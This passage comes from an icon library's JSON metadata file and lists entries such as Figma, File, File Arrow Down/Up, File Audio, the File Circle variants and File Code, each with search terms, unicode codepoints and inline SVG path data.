        "path": "M224 0H352c17.7 0 32 14.3 32 32h75.1c20.6 0 31.6 24.3 18.1 39.8L456 96H120L98.8 71.8C85.3 56.3 96.3 32 116.9 32H192c0-17.7 14.3-32 32-32zM96 128H480c17.7 0 32 14.3 32 32V283.5c0 13.3-4.2 26.3-11.9 37.2l-51.4 71.9c-1.9 1.1-3.7 2.2-5.5 3.5c-15.5 10.7-34 18-51 19.9H375.6c-17.1-1.8-35-9-50.8-19.9c-22.1-15.5-51.6-15.5-73.7 0c-14.8 10.2-32.5 18-50.6 19.9H183.9c-17-1.8-35.6-9.2-51-19.9c-1.8-1.3-3.7-2.4-5.6-3.5L75.9 320.7C68.2 309.8 64 296.8 64 283.5V160c0-17.7 14.3-32 32-32zm32 64v96H448V192H128zM306.5 421.9C329 437.4 356.5 448 384 448c26.9 0 55.3-10.8 77.4-26.1l0 0c11.9-8.5 28.1-7.8 39.2 1.7c14.4 11.9 32.5 21 50.6 25.2c17.2 4 27.9 21.2 23.9 38.4s-21.2 27.9-38.4 23.9c-24.5-5.7-44.9-16.5-58.2-25C449.5 501.7 417 512 384 512c-31.9 0-60.6-9.9-80.4-18.9c-5.8-2.7-11.1-5.3-15.6-7.7c-4.5 2.4-9.7 5.1-15.6 7.7c-19.8 9-48.5 18.9-80.4 18.9c-33 0-65.5-10.3-94.5-25.8c-13.4 8.4-33.7 19.3-58.2 25c-17.2 4-34.4-6.7-38.4-23.9s6.7-34.4 23.9-38.4c18.1-4.2 36.2-13.3 50.6-25.2c11.1-9.4 27.3-10.1 39.2-1.7l0 0C136.7 437.2 165.1 448 192 448c27.5 0 55-10.6 77.5-26.1c11.1-7.9 25.9-7.9 37 0z"
      }
    },
    "free": ["solid"]
  },
  "figma": {
    "changes": ["5.6.0", "5.7.0", "5.8.0", "5.15.4", "6.0.0-beta2"],
    "ligatures": [],
    "search": {
      "terms": ["app", "design", "interface"]
    },
    "styles": ["brands"],
    "unicode": "f799",
    "label": "Figma",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014466,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M14 95.7924C14 42.8877 56.8878 0 109.793 0H274.161C327.066 0 369.954 42.8877 369.954 95.7924C369.954 129.292 352.758 158.776 326.711 175.897C352.758 193.019 369.954 222.502 369.954 256.002C369.954 308.907 327.066 351.795 274.161 351.795H272.081C247.279 351.795 224.678 342.369 207.666 326.904V415.167C207.666 468.777 163.657 512 110.309 512C57.5361 512 14 469.243 14 416.207C14 382.709 31.1945 353.227 57.2392 336.105C31.1945 318.983 14 289.5 14 256.002C14 222.502 31.196 193.019 57.2425 175.897C31.196 158.776 14 129.292 14 95.7924ZM176.288 191.587H109.793C74.2172 191.587 45.3778 220.427 45.3778 256.002C45.3778 291.44 73.9948 320.194 109.381 320.416C109.518 320.415 109.655 320.415 109.793 320.415H176.288V191.587ZM207.666 256.002C207.666 291.577 236.505 320.417 272.081 320.417H274.161C309.737 320.417 338.576 291.577 338.576 256.002C338.576 220.427 309.737 191.587 274.161 191.587H272.081C236.505 191.587 207.666 220.427 207.666 256.002ZM109.793 351.795C109.655 351.795 109.518 351.794 109.381 351.794C73.9948 352.015 45.3778 380.769 45.3778 416.207C45.3778 451.652 74.6025 480.622 110.309 480.622C146.591 480.622 176.288 451.186 176.288 415.167V351.795H109.793ZM109.793 31.3778C74.2172 31.3778 45.3778 60.2173 45.3778 95.7924C45.3778 131.368 74.2172 160.207 109.793 160.207H176.288V31.3778H109.793ZM207.666 160.207H274.161C309.737 160.207 338.576 131.368 338.576 95.7924C338.576 60.2173 309.737 31.3778 274.161 31.3778H207.666V160.207Z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M14 95.7924C14 42.8877 56.8878 0 109.793 0H274.161C327.066 0 369.954 42.8877 369.954 95.7924C369.954 129.292 352.758 158.776 326.711 175.897C352.758 193.019 369.954 222.502 369.954 256.002C369.954 308.907 327.066 351.795 274.161 351.795H272.081C247.279 351.795 224.678 342.369 207.666 326.904V415.167C207.666 468.777 163.657 512 110.309 512C57.5361 512 14 469.243 14 416.207C14 382.709 31.1945 353.227 57.2392 336.105C31.1945 318.983 14 289.5 14 256.002C14 222.502 31.196 193.019 57.2425 175.897C31.196 158.776 14 129.292 14 95.7924ZM176.288 191.587H109.793C74.2172 191.587 45.3778 220.427 45.3778 256.002C45.3778 291.44 73.9948 320.194 109.381 320.416C109.518 320.415 109.655 320.415 109.793 320.415H176.288V191.587ZM207.666 256.002C207.666 291.577 236.505 320.417 272.081 320.417H274.161C309.737 320.417 338.576 291.577 338.576 256.002C338.576 220.427 309.737 191.587 274.161 191.587H272.081C236.505 191.587 207.666 220.427 207.666 256.002ZM109.793 351.795C109.655 351.795 109.518 351.794 109.381 351.794C73.9948 352.015 45.3778 380.769 45.3778 416.207C45.3778 451.652 74.6025 480.622 110.309 480.622C146.591 480.622 176.288 451.186 176.288 415.167V351.795H109.793ZM109.793 31.3778C74.2172 31.3778 45.3778 60.2173 45.3778 95.7924C45.3778 131.368 74.2172 160.207 109.793 160.207H176.288V31.3778H109.793ZM207.666 160.207H274.161C309.737 160.207 338.576 131.368 338.576 95.7924C338.576 60.2173 309.737 31.3778 274.161 31.3778H207.666V160.207Z"
      }
    },
    "free": ["brands"]
  },
  "file": {
    "aliases": {
      "unicodes": {
        "composite": ["1f4c4", "1f5cb", "f016"],
        "secondary": ["10f15b"]
      }
    },
    "changes": [
      "3.2.0",
      "5.0.0",
      "5.10.1",
      "5.10.2",
      "6.0.0-beta1",
      "6.1.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "Empty Document",
        "document",
        "new",
        "page",
        "page facing up",
        "pdf",
        "resume"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f15b",
    "label": "File",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767390,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M0 64C0 28.7 28.7 0 64 0H224V128c0 17.7 14.3 32 32 32H384V448c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V64zm384 64H256V0L384 128z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M0 64C0 28.7 28.7 0 64 0H224V128c0 17.7 14.3 32 32 32H384V448c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V64zm384 64H256V0L384 128z"
      },
      "regular": {
        "last_modified": 1684767390,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M320 464c8.8 0 16-7.2 16-16V160H256c-17.7 0-32-14.3-32-32V48H64c-8.8 0-16 7.2-16 16V448c0 8.8 7.2 16 16 16H320zM0 64C0 28.7 28.7 0 64 0H229.5c17 0 33.3 6.7 45.3 18.7l90.5 90.5c12 12 18.7 28.3 18.7 45.3V448c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V64z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M320 464c8.8 0 16-7.2 16-16V160H256c-17.7 0-32-14.3-32-32V48H64c-8.8 0-16 7.2-16 16V448c0 8.8 7.2 16 16 16H320zM0 64C0 28.7 28.7 0 64 0H229.5c17 0 33.3 6.7 45.3 18.7l90.5 90.5c12 12 18.7 28.3 18.7 45.3V448c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V64z"
      }
    },
    "free": ["regular", "solid"]
  },
  "file-arrow-down": {
    "aliases": {
      "names": ["file-download"],
      "unicodes": {
        "secondary": ["10f56d"]
      }
    },
    "changes": ["5.1.0", "5.10.2", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["document", "export", "save"]
    },
    "styles": ["solid"],
    "unicode": "f56d",
    "label": "File Arrow Down",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767390,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M64 0C28.7 0 0 28.7 0 64V448c0 35.3 28.7 64 64 64H320c35.3 0 64-28.7 64-64V160H256c-17.7 0-32-14.3-32-32V0H64zM256 0V128H384L256 0zM216 232V334.1l31-31c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9l-72 72c-9.4 9.4-24.6 9.4-33.9 0l-72-72c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0l31 31V232c0-13.3 10.7-24 24-24s24 10.7 24 24z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M64 0C28.7 0 0 28.7 0 64V448c0 35.3 28.7 64 64 64H320c35.3 0 64-28.7 64-64V160H256c-17.7 0-32-14.3-32-32V0H64zM256 0V128H384L256 0zM216 232V334.1l31-31c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9l-72 72c-9.4 9.4-24.6 9.4-33.9 0l-72-72c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0l31 31V232c0-13.3 10.7-24 24-24s24 10.7 24 24z"
      }
    },
    "free": ["solid"]
  },
  "file-arrow-up": {
    "aliases": {
      "names": ["file-upload"],
      "unicodes": {
        "secondary": ["10f574"]
      }
    },
    "changes": ["5.1.0", "5.10.2", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["document", "import", "page", "save"]
    },
    "styles": ["solid"],
    "unicode": "f574",
    "label": "File Arrow Up",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767392,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M64 0C28.7 0 0 28.7 0 64V448c0 35.3 28.7 64 64 64H320c35.3 0 64-28.7 64-64V160H256c-17.7 0-32-14.3-32-32V0H64zM256 0V128H384L256 0zM216 408c0 13.3-10.7 24-24 24s-24-10.7-24-24V305.9l-31 31c-9.4 9.4-24.6 9.4-33.9 0s-9.4-24.6 0-33.9l72-72c9.4-9.4 24.6-9.4 33.9 0l72 72c9.4 9.4 9.4 24.6 0 33.9s-24.6 9.4-33.9 0l-31-31V408z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M64 0C28.7 0 0 28.7 0 64V448c0 35.3 28.7 64 64 64H320c35.3 0 64-28.7 64-64V160H256c-17.7 0-32-14.3-32-32V0H64zM256 0V128H384L256 0zM216 408c0 13.3-10.7 24-24 24s-24-10.7-24-24V305.9l-31 31c-9.4 9.4-24.6 9.4-33.9 0s-9.4-24.6 0-33.9l72-72c9.4-9.4 24.6-9.4 33.9 0l72 72c9.4 9.4 9.4 24.6 0 33.9s-24.6 9.4-33.9 0l-31-31V408z"
      }
    },
    "free": ["solid"]
  },
  "file-audio": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f1c7"]
      }
    },
    "changes": [
      "4.1.0",
      "5.0.0",
      "5.10.2",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["document", "mp3", "music", "page", "play", "sound"]
    },
    "styles": ["solid", "regular"],
    "unicode": "f1c7",
    "label": "File Audio",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767391,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M64 0C28.7 0 0 28.7 0 64V448c0 35.3 28.7 64 64 64H320c35.3 0 64-28.7 64-64V160H256c-17.7 0-32-14.3-32-32V0H64zM256 0V128H384L256 0zm2 226.3c37.1 22.4 62 63.1 62 109.7s-24.9 87.3-62 109.7c-7.6 4.6-17.4 2.1-22-5.4s-2.1-17.4 5.4-22C269.4 401.5 288 370.9 288 336s-18.6-65.5-46.5-82.3c-7.6-4.6-10-14.4-5.4-22s14.4-10 22-5.4zm-91.9 30.9c6 2.5 9.9 8.3 9.9 14.8V400c0 6.5-3.9 12.3-9.9 14.8s-12.9 1.1-17.4-3.5L113.4 376H80c-8.8 0-16-7.2-16-16V312c0-8.8 7.2-16 16-16h33.4l35.3-35.3c4.6-4.6 11.5-5.9 17.4-3.5zm51 34.9c6.6-5.9 16.7-5.3 22.6 1.3C249.8 304.6 256 319.6 256 336s-6.2 31.4-16.3 42.7c-5.9 6.6-16 7.1-22.6 1.3s-7.1-16-1.3-22.6c5.1-5.7 8.1-13.1 8.1-21.3s-3.1-15.7-8.1-21.3c-5.9-6.6-5.3-16.7 1.3-22.6z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M64 0C28.7 0 0 28.7 0 64V448c0 35.3 28.7 64 64 64H320c35.3 0 64-28.7 64-64V160H256c-17.7 0-32-14.3-32-32V0H64zM256 0V128H384L256 0zm2 226.3c37.1 22.4 62 63.1 62 109.7s-24.9 87.3-62 109.7c-7.6 4.6-17.4 2.1-22-5.4s-2.1-17.4 5.4-22C269.4 401.5 288 370.9 288 336s-18.6-65.5-46.5-82.3c-7.6-4.6-10-14.4-5.4-22s14.4-10 22-5.4zm-91.9 30.9c6 2.5 9.9 8.3 9.9 14.8V400c0 6.5-3.9 12.3-9.9 14.8s-12.9 1.1-17.4-3.5L113.4 376H80c-8.8 0-16-7.2-16-16V312c0-8.8 7.2-16 16-16h33.4l35.3-35.3c4.6-4.6 11.5-5.9 17.4-3.5zm51 34.9c6.6-5.9 16.7-5.3 22.6 1.3C249.8 304.6 256 319.6 256 336s-6.2 31.4-16.3 42.7c-5.9 6.6-16 7.1-22.6 1.3s-7.1-16-1.3-22.6c5.1-5.7 8.1-13.1 8.1-21.3s-3.1-15.7-8.1-21.3c-5.9-6.6-5.3-16.7 1.3-22.6z"
      },
      "regular": {
        "last_modified": 1684767391,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M64 464H320c8.8 0 16-7.2 16-16V160H256c-17.7 0-32-14.3-32-32V48H64c-8.8 0-16 7.2-16 16V448c0 8.8 7.2 16 16 16zM0 64C0 28.7 28.7 0 64 0H229.5c17 0 33.3 6.7 45.3 18.7l90.5 90.5c12 12 18.7 28.3 18.7 45.3V448c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V64zM192 272V400c0 6.5-3.9 12.3-9.9 14.8s-12.9 1.1-17.4-3.5L129.4 376H112c-8.8 0-16-7.2-16-16V312c0-8.8 7.2-16 16-16h17.4l35.3-35.3c4.6-4.6 11.5-5.9 17.4-3.5s9.9 8.3 9.9 14.8zm85.8-4c11.6 20 18.2 43.3 18.2 68s-6.6 48-18.2 68c-6.6 11.5-21.3 15.4-32.8 8.8s-15.4-21.3-8.8-32.8c7.5-12.9 11.8-27.9 11.8-44s-4.3-31.1-11.8-44c-6.6-11.5-2.7-26.2 8.8-32.8s26.2-2.7 32.8 8.8z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M64 464H320c8.8 0 16-7.2 16-16V160H256c-17.7 0-32-14.3-32-32V48H64c-8.8 0-16 7.2-16 16V448c0 8.8 7.2 16 16 16zM0 64C0 28.7 28.7 0 64 0H229.5c17 0 33.3 6.7 45.3 18.7l90.5 90.5c12 12 18.7 28.3 18.7 45.3V448c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V64zM192 272V400c0 6.5-3.9 12.3-9.9 14.8s-12.9 1.1-17.4-3.5L129.4 376H112c-8.8 0-16-7.2-16-16V312c0-8.8 7.2-16 16-16h17.4l35.3-35.3c4.6-4.6 11.5-5.9 17.4-3.5s9.9 8.3 9.9 14.8zm85.8-4c11.6 20 18.2 43.3 18.2 68s-6.6 48-18.2 68c-6.6 11.5-21.3 15.4-32.8 8.8s-15.4-21.3-8.8-32.8c7.5-12.9 11.8-27.9 11.8-44s-4.3-31.1-11.8-44c-6.6-11.5-2.7-26.2 8.8-32.8s26.2-2.7 32.8 8.8z"
      }
    },
    "free": ["regular", "solid"]
  },
  "file-circle-check": {
    "changes": ["6.0.0", "6.1.0", "6.1.2", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["document", "file", "not affected", "ok", "okay", "paper"]
    },
    "styles": ["solid"],
    "unicode": "e5a0",
    "label": "File Circle Check",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767390,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M0 64C0 28.7 28.7 0 64 0H224V128c0 17.7 14.3 32 32 32H384v38.6C310.1 219.5 256 287.4 256 368c0 59.1 29.1 111.3 73.7 143.3c-3.2 .5-6.4 .7-9.7 .7H64c-35.3 0-64-28.7-64-64V64zm384 64H256V0L384 128zM288 368a144 144 0 1 1 288 0 144 144 0 1 1 -288 0zm211.3-43.3c-6.2-6.2-16.4-6.2-22.6 0L416 385.4l-28.7-28.7c-6.2-6.2-16.4-6.2-22.6 0s-6.2 16.4 0 22.6l40 40c6.2 6.2 16.4 6.2 22.6 0l72-72c6.2-6.2 6.2-16.4 0-22.6z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M0 64C0 28.7 28.7 0 64 0H224V128c0 17.7 14.3 32 32 32H384v38.6C310.1 219.5 256 287.4 256 368c0 59.1 29.1 111.3 73.7 143.3c-3.2 .5-6.4 .7-9.7 .7H64c-35.3 0-64-28.7-64-64V64zm384 64H256V0L384 128zM288 368a144 144 0 1 1 288 0 144 144 0 1 1 -288 0zm211.3-43.3c-6.2-6.2-16.4-6.2-22.6 0L416 385.4l-28.7-28.7c-6.2-6.2-16.4-6.2-22.6 0s-6.2 16.4 0 22.6l40 40c6.2 6.2 16.4 6.2 22.6 0l72-72c6.2-6.2 6.2-16.4 0-22.6z"
      }
    },
    "free": ["solid"]
  },
  "file-circle-exclamation": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["document", "file", "paper"]
    },
    "styles": ["solid"],
    "unicode": "e4eb",
    "label": "File Circle Exclamation",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767393,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M0 64C0 28.7 28.7 0 64 0H224V128c0 17.7 14.3 32 32 32H384v38.6C310.1 219.5 256 287.4 256 368c0 59.1 29.1 111.3 73.7 143.3c-3.2 .5-6.4 .7-9.7 .7H64c-35.3 0-64-28.7-64-64V64zm384 64H256V0L384 128zm48 96a144 144 0 1 1 0 288 144 144 0 1 1 0-288zm0 240a24 24 0 1 0 0-48 24 24 0 1 0 0 48zm0-192c-8.8 0-16 7.2-16 16v80c0 8.8 7.2 16 16 16s16-7.2 16-16V288c0-8.8-7.2-16-16-16z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M0 64C0 28.7 28.7 0 64 0H224V128c0 17.7 14.3 32 32 32H384v38.6C310.1 219.5 256 287.4 256 368c0 59.1 29.1 111.3 73.7 143.3c-3.2 .5-6.4 .7-9.7 .7H64c-35.3 0-64-28.7-64-64V64zm384 64H256V0L384 128zm48 96a144 144 0 1 1 0 288 144 144 0 1 1 0-288zm0 240a24 24 0 1 0 0-48 24 24 0 1 0 0 48zm0-192c-8.8 0-16 7.2-16 16v80c0 8.8 7.2 16 16 16s16-7.2 16-16V288c0-8.8-7.2-16-16-16z"
      }
    },
    "free": ["solid"]
  },
  "file-circle-minus": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["document", "file", "paper"]
    },
    "styles": ["solid"],
    "unicode": "e4ed",
    "label": "File Circle Minus",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767391,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M0 64C0 28.7 28.7 0 64 0H224V128c0 17.7 14.3 32 32 32H384v38.6C310.1 219.5 256 287.4 256 368c0 59.1 29.1 111.3 73.7 143.3c-3.2 .5-6.4 .7-9.7 .7H64c-35.3 0-64-28.7-64-64V64zm384 64H256V0L384 128zM288 368a144 144 0 1 1 288 0 144 144 0 1 1 -288 0zm224 0c0-8.8-7.2-16-16-16H368c-8.8 0-16 7.2-16 16s7.2 16 16 16H496c8.8 0 16-7.2 16-16z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M0 64C0 28.7 28.7 0 64 0H224V128c0 17.7 14.3 32 32 32H384v38.6C310.1 219.5 256 287.4 256 368c0 59.1 29.1 111.3 73.7 143.3c-3.2 .5-6.4 .7-9.7 .7H64c-35.3 0-64-28.7-64-64V64zm384 64H256V0L384 128zM288 368a144 144 0 1 1 288 0 144 144 0 1 1 -288 0zm224 0c0-8.8-7.2-16-16-16H368c-8.8 0-16 7.2-16 16s7.2 16 16 16H496c8.8 0 16-7.2 16-16z"
      }
    },
    "free": ["solid"]
  },
  "file-circle-plus": {
    "aliases": {
      "unicodes": {
        "composite": ["e4ee"]
      }
    },
    "changes": ["6.0.0", "6.1.0", "6.1.2", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["add", "document", "file", "new", "page", "paper", "pdf"]
    },
    "styles": ["solid"],
    "unicode": "e494",
    "label": "File Circle Plus",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767389,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M0 64C0 28.7 28.7 0 64 0H224V128c0 17.7 14.3 32 32 32H384v38.6C310.1 219.5 256 287.4 256 368c0 59.1 29.1 111.3 73.7 143.3c-3.2 .5-6.4 .7-9.7 .7H64c-35.3 0-64-28.7-64-64V64zm384 64H256V0L384 128zm48 96a144 144 0 1 1 0 288 144 144 0 1 1 0-288zm16 80c0-8.8-7.2-16-16-16s-16 7.2-16 16v48H368c-8.8 0-16 7.2-16 16s7.2 16 16 16h48v48c0 8.8 7.2 16 16 16s16-7.2 16-16V384h48c8.8 0 16-7.2 16-16s-7.2-16-16-16H448V304z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M0 64C0 28.7 28.7 0 64 0H224V128c0 17.7 14.3 32 32 32H384v38.6C310.1 219.5 256 287.4 256 368c0 59.1 29.1 111.3 73.7 143.3c-3.2 .5-6.4 .7-9.7 .7H64c-35.3 0-64-28.7-64-64V64zm384 64H256V0L384 128zm48 96a144 144 0 1 1 0 288 144 144 0 1 1 0-288zm16 80c0-8.8-7.2-16-16-16s-16 7.2-16 16v48H368c-8.8 0-16 7.2-16 16s7.2 16 16 16h48v48c0 8.8 7.2 16 16 16s16-7.2 16-16V384h48c8.8 0 16-7.2 16-16s-7.2-16-16-16H448V304z"
      }
    },
    "free": ["solid"]
  },
  "file-circle-question": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["document", "file", "paper"]
    },
    "styles": ["solid"],
    "unicode": "e4ef",
    "label": "File Circle Question",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767393,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M0 64C0 28.7 28.7 0 64 0H224V128c0 17.7 14.3 32 32 32H384v38.6C310.1 219.5 256 287.4 256 368c0 59.1 29.1 111.3 73.7 143.3c-3.2 .5-6.4 .7-9.7 .7H64c-35.3 0-64-28.7-64-64V64zm384 64H256V0L384 128zm48 96a144 144 0 1 1 0 288 144 144 0 1 1 0-288zm0 240a24 24 0 1 0 0-48 24 24 0 1 0 0 48zM368 321.6V328c0 8.8 7.2 16 16 16s16-7.2 16-16v-6.4c0-5.3 4.3-9.6 9.6-9.6h40.5c7.7 0 13.9 6.2 13.9 13.9c0 5.2-2.9 9.9-7.4 12.3l-32 16.8c-5.3 2.8-8.6 8.2-8.6 14.2V384c0 8.8 7.2 16 16 16s16-7.2 16-16v-5.1l23.5-12.3c15.1-7.9 24.5-23.6 24.5-40.6c0-25.4-20.6-45.9-45.9-45.9H409.6c-23 0-41.6 18.6-41.6 41.6z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M0 64C0 28.7 28.7 0 64 0H224V128c0 17.7 14.3 32 32 32H384v38.6C310.1 219.5 256 287.4 256 368c0 59.1 29.1 111.3 73.7 143.3c-3.2 .5-6.4 .7-9.7 .7H64c-35.3 0-64-28.7-64-64V64zm384 64H256V0L384 128zm48 96a144 144 0 1 1 0 288 144 144 0 1 1 0-288zm0 240a24 24 0 1 0 0-48 24 24 0 1 0 0 48zM368 321.6V328c0 8.8 7.2 16 16 16s16-7.2 16-16v-6.4c0-5.3 4.3-9.6 9.6-9.6h40.5c7.7 0 13.9 6.2 13.9 13.9c0 5.2-2.9 9.9-7.4 12.3l-32 16.8c-5.3 2.8-8.6 8.2-8.6 14.2V384c0 8.8 7.2 16 16 16s16-7.2 16-16v-5.1l23.5-12.3c15.1-7.9 24.5-23.6 24.5-40.6c0-25.4-20.6-45.9-45.9-45.9H409.6c-23 0-41.6 18.6-41.6 41.6z"
      }
    },
    "free": ["solid"]
  },
  "file-circle-xmark": {
    "changes": ["6.1.0", "6.1.2", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["document", "file", "paper"]
    },
    "styles": ["solid"],
    "unicode": "e5a1",
    "label": "File Circle Xmark",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767390,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M0 64C0 28.7 28.7 0 64 0H224V128c0 17.7 14.3 32 32 32H384v38.6C310.1 219.5 256 287.4 256 368c0 59.1 29.1 111.3 73.7 143.3c-3.2 .5-6.4 .7-9.7 .7H64c-35.3 0-64-28.7-64-64V64zm384 64H256V0L384 128zm48 96a144 144 0 1 1 0 288 144 144 0 1 1 0-288zm59.3 107.3c6.2-6.2 6.2-16.4 0-22.6s-16.4-6.2-22.6 0L432 345.4l-36.7-36.7c-6.2-6.2-16.4-6.2-22.6 0s-6.2 16.4 0 22.6L409.4 368l-36.7 36.7c-6.2 6.2-6.2 16.4 0 22.6s16.4 6.2 22.6 0L432 390.6l36.7 36.7c6.2 6.2 16.4 6.2 22.6 0s6.2-16.4 0-22.6L454.6 368l36.7-36.7z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M0 64C0 28.7 28.7 0 64 0H224V128c0 17.7 14.3 32 32 32H384v38.6C310.1 219.5 256 287.4 256 368c0 59.1 29.1 111.3 73.7 143.3c-3.2 .5-6.4 .7-9.7 .7H64c-35.3 0-64-28.7-64-64V64zm384 64H256V0L384 128zm48 96a144 144 0 1 1 0 288 144 144 0 1 1 0-288zm59.3 107.3c6.2-6.2 6.2-16.4 0-22.6s-16.4-6.2-22.6 0L432 345.4l-36.7-36.7c-6.2-6.2-16.4-6.2-22.6 0s-6.2 16.4 0 22.6L409.4 368l-36.7 36.7c-6.2 6.2-6.2 16.4 0 22.6s16.4 6.2 22.6 0L432 390.6l36.7 36.7c6.2 6.2 16.4 6.2 22.6 0s6.2-16.4 0-22.6L454.6 368l36.7-36.7z"
      }
    },
    "free": ["solid"]
  },
  "file-code": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f1c9"]
      }
    },
    "changes": [
      "4.1.0",
      "5.0.0",
      "5.10.2",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["css", "development", "document", "html"]
    },
    "styles": ["solid", "regular"],
    "unicode": "f1c9",
    "label": "File Code",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767391,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M64 0C28.7 0 0 28.7 0 64V448c0 35.3 28.7 64 64 64H320c35.3 0 64-28.7 64-64V160H256c-17.7 0-32-14.3-32-32V0H64zM256 0V128H384L256 0zM153 289l-31 31 31 31c9.4 9.4 9.4 24.6 0 33.9s-24.6 9.4-33.9 0L71 337c-9.4-9.4-9.4-24.6 0-33.9l48-48c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9zM265 255l48 48c9.4 9.4 9.4 24.6 0 33.9l-48 48c-9.4 9.4-24.6 9.4-33.9 0s-9.4-24.6 0-33.9l31-31-31-31c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
